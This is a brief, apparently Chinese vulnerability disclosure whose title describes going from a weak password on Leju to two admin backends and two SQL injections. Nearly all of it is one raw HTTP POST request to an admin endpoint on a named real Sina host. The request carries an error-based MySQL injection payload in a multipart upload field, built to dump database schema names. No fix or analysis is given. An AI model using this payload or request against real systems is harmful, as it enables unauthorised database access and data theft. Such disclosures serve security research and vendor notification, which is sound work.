乐居一处弱口令到2个后台再到2个SQL注入

POST //chat/admin.php?c=room&a=manage&method=post&id=3824 HTTP/1.1
 Host: supports.house.sina.com.cn
 Content-Length: 532
 Cache-Control: max-age=0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Origin: http://supports.house.sina.com.cn
 Upgrade-Insecure-Requests: 1
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36
 Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySBLO3Fx4OQOMZ3LU
 Referer: http://supports.house.sina.com.cn//chat/admin.php?c=room&a=manage&id=3824
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.8
 Cookie: 马赛克
 Connection: close
 
 ------WebKitFormBoundarySBLO3Fx4OQOMZ3LU
 Content-Disposition: form-data; name="file"; filename="1.jpg"
 Content-Type: image/jpeg
 
 ' and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
 ------WebKitFormBoundarySBLO3Fx4OQOMZ3LU
 Content-Disposition: form-data; name="savemode"
 
 1
 ------WebKitFormBoundarySBLO3Fx4OQOMZ3LU--